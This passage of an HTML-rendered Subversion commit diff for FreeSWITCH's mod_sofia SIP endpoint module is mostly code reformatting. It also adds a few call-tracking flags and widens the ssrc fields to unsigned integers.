</span><span class="cx">                                                                    NUTAG_NEWSUB(1),
</span><del>-                                                                   SIPTAG_EVENT_STR(es), 
-                                                                   SIPTAG_CONTENT_TYPE_STR(ct), 
-                                                                   TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                                                                   TAG_END());
</del><ins>+                                                                   SIPTAG_EVENT_STR(es), SIPTAG_CONTENT_TYPE_STR(ct), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_core_session_rwunlock(session);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3567,24 +3595,23 @@
</span><span class="cx"> 
</span><span class="cx">                                 if (call_id) {
</span><span class="cx">                                         sql = switch_mprintf(&quot;select sip_user,sip_host,contact,profile_name,'%q','%q','%q' &quot;
</span><del>-                                                                                 &quot;from sip_registrations where call_id='%q'&quot;, ct, es, switch_str_nil(body), call_id
-                                                                                 );
</del><ins>+                                                                                 &quot;from sip_registrations where call_id='%q'&quot;, ct, es, switch_str_nil(body), call_id);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         if (!strcasecmp(es, &quot;message-summary&quot;)) {
</span><span class="cx">                                                 sql = switch_mprintf(&quot;select sip_user,sip_host,contact,profile_name,'%q','%q','%q' &quot;
</span><del>-                                                                &quot;from sip_registrations where mwi_user='%s' and mwi_host='%q'&quot;,
-                                                                ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
-                                                                );
</del><ins>+                                                                                         &quot;from sip_registrations where mwi_user='%s' and mwi_host='%q'&quot;,
+                                                                                         ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
+                                                        );
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 sql = switch_mprintf(&quot;select sip_user,sip_host,contact,profile_name,'%q','%q','%q' &quot;
</span><del>-                                                                &quot;from sip_registrations where sip_user='%s' and sip_host='%q'&quot;,
-                                                                ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
-                                                                );
</del><ins>+                                                                                         &quot;from sip_registrations where sip_user='%s' and sip_host='%q'&quot;,
+                                                                                         ct, es, switch_str_nil(body), switch_str_nil(user), switch_str_nil(host)
+                                                        );
</ins><span class="cx"> 
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                                 switch_mutex_lock(profile-&gt;ireg_mutex);
</span><span class="cx">                                 sofia_glue_execute_sql_callback(profile, NULL, sql, notify_callback, profile);
</span><span class="cx">                                 switch_mutex_unlock(profile-&gt;ireg_mutex);
</span><span class="lines">@@ -3592,7 +3619,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 free(sql);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_SEND_MESSAGE:
</span><span class="lines">@@ -3625,26 +3652,17 @@
</span><span class="cx"> 
</span><span class="cx">                                 switch_assert(id);
</span><span class="cx">                                 contact = sofia_glue_get_url_from_contact(buf, 0);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((p = strstr(contact, &quot;;fs_&quot;))) {
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                 }
</span><del>-                                
-                                nh = nua_handle(profile-&gt;nua, 
-                                                                NULL, 
-                                                                NUTAG_URL(contact), 
-                                                                SIPTAG_FROM_STR(id), 
-                                                                SIPTAG_TO_STR(id), 
-                                                                SIPTAG_CONTACT_STR(profile-&gt;url), 
-                                                                TAG_END());
-                                
-                                nua_message(nh,
-                                                        NUTAG_NEWSUB(1),
-                                                         SIPTAG_CONTENT_TYPE_STR(ct), 
-                                                        TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                                                        TAG_END());
</del><span class="cx"> 
</span><del>-                                
</del><ins>+                                nh = nua_handle(profile-&gt;nua,
+                                                                NULL, NUTAG_URL(contact), SIPTAG_FROM_STR(id), SIPTAG_TO_STR(id), SIPTAG_CONTACT_STR(profile-&gt;url), TAG_END());
+
+                                nua_message(nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR(ct), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
+
+
</ins><span class="cx">                                 free(id);
</span><span class="cx">                                 sofia_glue_release_profile(profile);
</span><span class="cx">                         }
</span><span class="lines">@@ -3671,25 +3689,25 @@
</span><span class="cx">                         char *p;
</span><span class="cx"> 
</span><span class="cx">                         if (!profile_name) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Missing Profile Name\n&quot;);
-                goto done;
-            }
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Missing Profile Name\n&quot;);
+                                goto done;
+                        }
</ins><span class="cx"> 
</span><del>-            if (!call_id &amp;&amp; !to_uri &amp;&amp; !local_user_full) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Missing To-URI header\n&quot;);
-                goto done;
-            }
</del><ins>+                        if (!call_id &amp;&amp; !to_uri &amp;&amp; !local_user_full) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Missing To-URI header\n&quot;);
+                                goto done;
+                        }
</ins><span class="cx"> 
</span><del>-            if (!call_id &amp;&amp; !from_uri) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Missing From-URI header\n&quot;);
-                goto done;
-            }
</del><ins>+                        if (!call_id &amp;&amp; !from_uri) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Missing From-URI header\n&quot;);
+                                goto done;
+                        }
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-            if (!(profile = sofia_glue_find_profile(profile_name))) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't find profile %s\n&quot;, profile_name);
-                goto done;
-            }
</del><ins>+                        if (!(profile = sofia_glue_find_profile(profile_name))) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't find profile %s\n&quot;, profile_name);
+                                goto done;
+                        }
</ins><span class="cx"> 
</span><span class="cx">                         if (call_id) {
</span><span class="cx">                                 nh = nua_handle_by_call_id(profile-&gt;nua, call_id);
</span><span class="lines">@@ -3705,28 +3723,23 @@
</span><span class="cx">                                         if ((local_host = strchr(local_user, '@'))) {
</span><span class="cx">                                                 *local_host++ = '\0';
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!local_user || !local_host || !sofia_reg_find_reg_url(profile, local_user, local_host, buf, sizeof(buf))) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can't find local user\n&quot;);
</span><span class="cx">                                                 goto done;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         to_uri = sofia_glue_get_url_from_contact(buf, 0);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((p = strstr(to_uri, &quot;;fs_&quot;))) {
</span><span class="cx">                                                 *p = '\0';
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                nh = nua_handle(profile-&gt;nua, 
-                                                                NULL, 
-                                                                NUTAG_URL(to_uri), 
-                                                                SIPTAG_FROM_STR(from_uri), 
-                                                                SIPTAG_TO_STR(to_uri), 
-                                                                SIPTAG_CONTACT_STR(profile-&gt;url), 
-                                                                TAG_END());
-                                
</del><ins>+                                nh = nua_handle(profile-&gt;nua,
+                                                                NULL, NUTAG_URL(to_uri), SIPTAG_FROM_STR(from_uri), SIPTAG_TO_STR(to_uri), SIPTAG_CONTACT_STR(profile-&gt;url), TAG_END());
+
</ins><span class="cx">                                 nua_handle_bind(nh, &amp;mod_sofia_globals.destroy_private);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -3735,9 +3748,7 @@
</span><span class="cx">                                          TAG_IF(ct, SIPTAG_CONTENT_TYPE_STR(ct)),
</span><span class="cx">                                          TAG_IF(cd, SIPTAG_CONTENT_DISPOSITION_STR(cd)),
</span><span class="cx">                                          TAG_IF(alert_info, SIPTAG_ALERT_INFO_STR(alert_info)),
</span><del>-                                         TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
-                                         TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)),
-                                         TAG_END());
</del><ins>+                                         TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)), TAG_IF(!zstr(body), SIPTAG_PAYLOAD_STR(body)), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">                         if (call_id &amp;&amp; nh) {
</span><span class="cx">                                 nua_handle_unref(nh);
</span><span class="lines">@@ -3746,11 +3757,11 @@
</span><span class="cx">                         if (profile) {
</span><span class="cx">                                 sofia_glue_release_profile(profile);
</span><span class="cx">                         }
</span><del>-                        
-                done:
</del><span class="cx"> 
</span><ins>+                  done:
+
</ins><span class="cx">                         switch_safe_free(local_dup);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_EVENT_TRAP:
</span><span class="lines">@@ -3804,7 +3815,7 @@
</span><span class="cx">                                 switch_mutex_unlock(mod_sofia_globals.hash_mutex);
</span><span class="cx">                                 sofia_glue_restart_all_profiles();
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="lines">@@ -3826,7 +3837,7 @@
</span><span class="cx">                 switch_hash_this(hi, &amp;vvar, NULL, &amp;val);
</span><span class="cx">                 profile = (sofia_profile_t *) val;
</span><span class="cx">                 if (sofia_test_pflag(profile, PFLAG_RUNNING)) {
</span><del>-                        switch_console_push_match(&amp;my_matches, (const char *)vvar);
</del><ins>+                        switch_console_push_match(&amp;my_matches, (const char *) vvar);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(mod_sofia_globals.hash_mutex);
</span><span class="lines">@@ -3866,7 +3877,7 @@
</span><span class="cx">                 *matches = my_matches;
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -3886,7 +3897,7 @@
</span><span class="cx"> 
</span><span class="cx">         dup = strdup(line);
</span><span class="cx">         argc = switch_split(dup, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(argv[2]) || !strcmp(argv[2], &quot; &quot;)) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -3903,9 +3914,9 @@
</span><span class="cx">                 *matches = my_matches;
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
- end:
</del><span class="cx"> 
</span><ins>+  end:
+
</ins><span class="cx">         switch_safe_free(dup);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -4025,7 +4036,8 @@
</span><span class="cx">         management_interface-&gt;management_function = sofia_manage;
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;sofia&quot;, &quot;Sofia Controls&quot;, sofia_function, &quot;&lt;cmd&gt; &lt;args&gt;&quot;);
</span><del>-        SWITCH_ADD_API(api_interface, &quot;sofia_gateway_data&quot;, &quot;Get data from a sofia gateway&quot;, sofia_gateway_data_function, &quot;&lt;gateway_name&gt; [ivar|ovar|var] &lt;name&gt;&quot;);
</del><ins>+        SWITCH_ADD_API(api_interface, &quot;sofia_gateway_data&quot;, &quot;Get data from a sofia gateway&quot;, sofia_gateway_data_function,
+                                   &quot;&lt;gateway_name&gt; [ivar|ovar|var] &lt;name&gt;&quot;);
</ins><span class="cx">         switch_console_set_complete(&quot;add sofia help&quot;);
</span><span class="cx">         switch_console_set_complete(&quot;add sofia status&quot;);
</span><span class="cx">         switch_console_set_complete(&quot;add sofia xmlstatus&quot;);
</span><span class="lines">@@ -4084,7 +4096,7 @@
</span><span class="cx">         switch_event_unbind(&amp;mod_sofia_globals.custom_node);
</span><span class="cx">         switch_event_unbind(&amp;mod_sofia_globals.mwi_node);
</span><span class="cx">         switch_event_unbind_callback(general_event_handler);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (mod_sofia_globals.threads) {
</span><span class="cx">                 switch_cond_next();
</span><span class="cx">                 if (++sanity &gt;= 60000) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiamod_sofiah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/mod_sofia.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -205,6 +205,7 @@
</span><span class="cx">         PFLAG_SQL_IN_TRANS,
</span><span class="cx">         PFLAG_PASS_CALLEE_ID,
</span><span class="cx">         PFLAG_LOG_AUTH_FAIL,
</span><ins>+        PFLAG_TRACK_CALLS,
</ins><span class="cx">         /* No new flags below this line */
</span><span class="cx">         PFLAG_MAX
</span><span class="cx"> } PFLAGS;
</span><span class="lines">@@ -258,6 +259,9 @@
</span><span class="cx">         TFLAG_PASS_RFC2833,
</span><span class="cx">         TFLAG_UPDATING_DISPLAY,
</span><span class="cx">         TFLAG_ENABLE_SOA,
</span><ins>+        TFLAG_TRACKED,
+        TFLAG_RECOVERING,
+        TFLAG_RECOVERING_BRIDGE,
</ins><span class="cx">         /* No new flags below this line */
</span><span class="cx">         TFLAG_MAX
</span><span class="cx"> } TFLAGS;
</span><span class="lines">@@ -343,8 +347,8 @@
</span><span class="cx"> struct sofia_gateway_subscription {
</span><span class="cx">         sofia_gateway_t *gateway;
</span><span class="cx">         char *expires_str;
</span><del>-        char *event;  /* eg, 'message-summary' to subscribe to MWI events */
-        char *content_type;  /* eg, application/simple-message-summary in the case of MWI events */
</del><ins>+        char *event;                                /* eg, 'message-summary' to subscribe to MWI events */
+        char *content_type;                        /* eg, application/simple-message-summary in the case of MWI events */
</ins><span class="cx">         uint32_t freq;
</span><span class="cx">         int32_t retry_seconds;
</span><span class="cx">         time_t expires;
</span><span class="lines">@@ -501,7 +505,7 @@
</span><span class="cx">         char *odbc_dsn;
</span><span class="cx">         char *odbc_user;
</span><span class="cx">         char *odbc_pass;
</span><del>-        //        switch_odbc_handle_t *master_odbc;
</del><ins>+        //  switch_odbc_handle_t *master_odbc;
</ins><span class="cx">         switch_queue_t *sql_queue;
</span><span class="cx">         char *acl[SOFIA_MAX_ACL];
</span><span class="cx">         uint32_t acl_count;
</span><span class="lines">@@ -548,7 +552,8 @@
</span><span class="cx">         switch_caller_profile_t *caller_profile;
</span><span class="cx">         uint32_t timestamp_send;
</span><span class="cx">         switch_rtp_t *rtp_session;
</span><del>-        int ssrc;
</del><ins>+        uint32_t ssrc;
+        uint32_t video_ssrc;
</ins><span class="cx">         sofia_profile_t *profile;
</span><span class="cx">         char *local_sdp_audio_ip;
</span><span class="cx">         switch_port_t local_sdp_audio_port;
</span><span class="lines">@@ -683,10 +688,10 @@
</span><span class="cx"> } auth_res_t;
</span><span class="cx"> 
</span><span class="cx"> typedef struct {
</span><del>-        char *to;
-        char *contact;
-        char *route;
-        char *route_uri;
</del><ins>+        char *to;
+        char *contact;
+        char *route;
+        char *route_uri;
</ins><span class="cx"> } sofia_destination_t;
</span><span class="cx"> 
</span><span class="cx"> #define sofia_test_pflag(obj, flag) ((obj)-&gt;pflags[flag] ? 1 : 0)
</span><span class="lines">@@ -734,21 +739,23 @@
</span><span class="cx"> 
</span><span class="cx"> void sofia_handle_sip_i_info(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, switch_core_session_t *session, sip_t const *sip, tagi_t tags[]);
</span><span class="cx"> 
</span><del>-void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+void sofia_handle_sip_i_invite(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                           tagi_t tags[]);
</ins><span class="cx"> 
</span><del>-void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                         tagi_t tags[]);
</ins><span class="cx"> 
</span><span class="cx"> void sofia_event_callback(nua_event_t event,
</span><del>-                                        int status,
-                                        char const *phrase,
-                                        nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+                                                  int status,
+                                                  char const *phrase,
+                                                  nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</ins><span class="cx"> 
</span><span class="cx"> void *SWITCH_THREAD_FUNC sofia_profile_thread_run(switch_thread_t *thread, void *obj);
</span><span class="cx"> 
</span><span class="cx"> void launch_sofia_profile_thread(sofia_profile_t *profile);
</span><span class="cx"> 
</span><span class="cx"> switch_status_t sofia_presence_chat_send(const char *proto, const char *from, const char *to, const char *subject,
</span><del>-                                                  const char *body, const char *type, const char *hint);
</del><ins>+                                                                                 const char *body, const char *type, const char *hint);
</ins><span class="cx"> void sofia_glue_tech_absorb_sdp(private_object_t *tech_pvt);
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -766,32 +773,30 @@
</span><span class="cx"> void sofia_presence_cancel(void);
</span><span class="cx"> switch_status_t config_sofia(int reload, char *profile_name);
</span><span class="cx"> void sofia_reg_auth_challenge(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_regtype_t regtype, const char *realm, int stale);
</span><del>-auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization, 
-                                                                sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event, 
</del><ins>+auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile, sip_authorization_t const *authorization,
+                                                                sip_t const *sip, const char *regstr, char *np, size_t nplen, char *ip, switch_event_t **v_event,
</ins><span class="cx">                                                                 long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count);
</span><del>-                                                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx"> void sofia_reg_handle_sip_r_challenge(int status,
</span><span class="cx">                                                                           char const *phrase,
</span><span class="cx">                                                                           nua_t *nua, sofia_profile_t *profile,
</span><span class="cx">                                                                           nua_handle_t *nh, sofia_private_t *sofia_private,
</span><span class="cx">                                                                           switch_core_session_t *session, sofia_gateway_t *gateway, sip_t const *sip, tagi_t tags[]);
</span><span class="cx"> void sofia_reg_handle_sip_r_register(int status,
</span><del>-                                        char const *phrase,
-                                        nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_handle_sip_i_options(int status,
-                                   char const *phrase,
-                                   nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_i_message(int status,
-                                   char const *phrase,
-                                   nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_r_subscribe(int status,
-                                         char const *phrase,
-                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
-void sofia_presence_handle_sip_i_subscribe(int status,
-                                         char const *phrase,
-                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+                                                                         char const *phrase,
+                                                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                         tagi_t tags[]);
+void sofia_handle_sip_i_options(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private,
+                                                                sip_t const *sip, tagi_t tags[]);
+void sofia_presence_handle_sip_i_publish(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                                 tagi_t tags[]);
+void sofia_presence_handle_sip_i_message(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
+                                                                                 sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_presence_handle_sip_r_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
+                                                                                   sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
+void sofia_presence_handle_sip_i_subscribe(int status, char const *phrase, nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh,
+                                                                                   sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</ins><span class="cx"> 
</span><span class="cx"> void sofia_glue_execute_sql(sofia_profile_t *profile, char **sqlp, switch_bool_t sql_already_dynamic);
</span><span class="cx"> void sofia_glue_actually_execute_sql(sofia_profile_t *profile, char *sql, switch_mutex_t *mutex);
</span><span class="lines">@@ -801,13 +806,14 @@
</span><span class="cx"> void sofia_reg_check_gateway(sofia_profile_t *profile, time_t now);
</span><span class="cx"> void sofia_sub_check_gateway(sofia_profile_t *profile, time_t now);
</span><span class="cx"> void sofia_reg_unregister(sofia_profile_t *profile);
</span><del>-switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port, const char *sourceip, switch_memory_pool_t *pool);
</del><ins>+switch_status_t sofia_glue_ext_address_lookup(sofia_profile_t *profile, private_object_t *tech_pvt, char **ip, switch_port_t *port,
+                                                                                          const char *sourceip, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> void sofia_glue_pass_sdp(private_object_t *tech_pvt, char *sdp);
</span><span class="cx"> int sofia_glue_get_user_host(char *in, char **user, char **host);
</span><span class="cx"> switch_call_cause_t sofia_glue_sip_cause_to_freeswitch(int status);
</span><span class="cx"> void sofia_glue_do_xfer_invite(switch_core_session_t *session);
</span><del>-uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, 
</del><ins>+uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip,
</ins><span class="cx">                                                                   sofia_regtype_t regtype, char *key, uint32_t keylen, switch_event_t **v_event, const char *is_nat);
</span><span class="cx"> extern switch_endpoint_interface_t *sofia_endpoint_interface;
</span><span class="cx"> void sofia_presence_set_chat_hash(private_object_t *tech_pvt, sip_t const *sip);
</span><span class="lines">@@ -816,11 +822,9 @@
</span><span class="cx"> void sofia_presence_set_hash_key(char *hash_key, int32_t len, sip_t const *sip);
</span><span class="cx"> void sofia_glue_sql_close(sofia_profile_t *profile, time_t prune);
</span><span class="cx"> int sofia_glue_init_sql(sofia_profile_t *profile);
</span><del>-char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only, const char *params);
-switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile,
-                                                                                          switch_mutex_t *mutex,
-                                                                                          char *sql,
-                                                                                          switch_core_db_callback_func_t callback,
</del><ins>+char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only,
+                                                                          const char *params);
+switch_bool_t sofia_glue_execute_sql_callback(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, switch_core_db_callback_func_t callback,
</ins><span class="cx">                                                                                           void *pdata);
</span><span class="cx"> char *sofia_glue_execute_sql2str(sofia_profile_t *profile, switch_mutex_t *mutex, char *sql, char *resbuf, size_t len);
</span><span class="cx"> void sofia_glue_check_video_codecs(private_object_t *tech_pvt);
</span><span class="lines">@@ -884,14 +888,15 @@
</span><span class="cx"> sofia_transport_t sofia_glue_str2transport(const char *str);
</span><span class="cx"> 
</span><span class="cx"> const char *sofia_glue_transport2str(const sofia_transport_t tp);
</span><del>-char * sofia_glue_find_parameter(const char *str, const char *param);
</del><ins>+char *sofia_glue_find_parameter(const char *str, const char *param);
</ins><span class="cx"> char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport);
</span><span class="cx"> char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport);
</span><span class="cx"> char *sofia_glue_strip_uri(const char *str);
</span><span class="cx"> int sofia_glue_check_nat(sofia_profile_t *profile, const char *network_ip);
</span><span class="cx"> int sofia_glue_transport_has_tls(const sofia_transport_t tp);
</span><span class="cx"> const char *sofia_glue_get_unknown_header(sip_t const *sip, const char *name);
</span><del>-switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type, switch_rtp_crypto_direction_t direction);
</del><ins>+switch_status_t sofia_glue_build_crypto(private_object_t *tech_pvt, int index, switch_rtp_crypto_key_type_t type,
+                                                                                switch_rtp_crypto_direction_t direction);
</ins><span class="cx"> void sofia_glue_tech_patch_sdp(private_object_t *tech_pvt);
</span><span class="cx"> switch_status_t sofia_glue_tech_proxy_remote_addr(private_object_t *tech_pvt);
</span><span class="cx"> void sofia_presence_event_thread_start(void);
</span><span class="lines">@@ -901,10 +906,11 @@
</span><span class="cx"> const char *sofia_glue_strip_proto(const char *uri);
</span><span class="cx"> switch_status_t reconfig_sofia(sofia_profile_t *profile);
</span><span class="cx"> void sofia_glue_del_gateway(sofia_gateway_t *gp);
</span><del>-void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip);
</del><ins>+void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
+                                                   const char *network_ip);
</ins><span class="cx"> void sofia_glue_restart_all_profiles(void);
</span><span class="cx"> void sofia_glue_toggle_hold(private_object_t *tech_pvt, int sendonly);
</span><del>-const char * sofia_state_string(int state);
</del><ins>+const char *sofia_state_string(int state);
</ins><span class="cx"> switch_status_t sofia_glue_tech_set_codec(private_object_t *tech_pvt, int force);
</span><span class="cx"> void sofia_wait_for_reply(struct private_object *tech_pvt, nua_event_t event, uint32_t timeout);
</span><span class="cx"> void sofia_glue_set_image_sdp(private_object_t *tech_pvt, switch_t38_options_t *t38_options);
</span><span class="lines">@@ -918,7 +924,8 @@
</span><span class="cx"> void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
</span><span class="cx"> void sofia_sla_handle_sip_r_subscribe(int status,
</span><span class="cx">                                                                           char const *phrase,
</span><del>-                                                                          nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[]);
</del><ins>+                                                                          nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                          tagi_t tags[]);
</ins><span class="cx"> void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sip_t const *sip, tagi_t tags[]);
</span><span class="cx"> 
</span><span class="cx"> /* 
</span><span class="lines">@@ -944,12 +951,16 @@
</span><span class="cx"> void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup);
</span><span class="cx"> void sofia_glue_set_rtp_stats(private_object_t *tech_pvt);
</span><span class="cx"> void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port);
</span><del>-sofia_destination_t* sofia_glue_get_destination(char *data);
</del><ins>+sofia_destination_t *sofia_glue_get_destination(char *data);
</ins><span class="cx"> void sofia_glue_free_destination(sofia_destination_t *dst);
</span><del>-switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype, const char *body, const char *o_contact, const char *network_ip);
</del><ins>+switch_status_t sofia_glue_send_notify(sofia_profile_t *profile, const char *user, const char *host, const char *event, const char *contenttype,
+                                                                           const char *body, const char *o_contact, const char *network_ip);
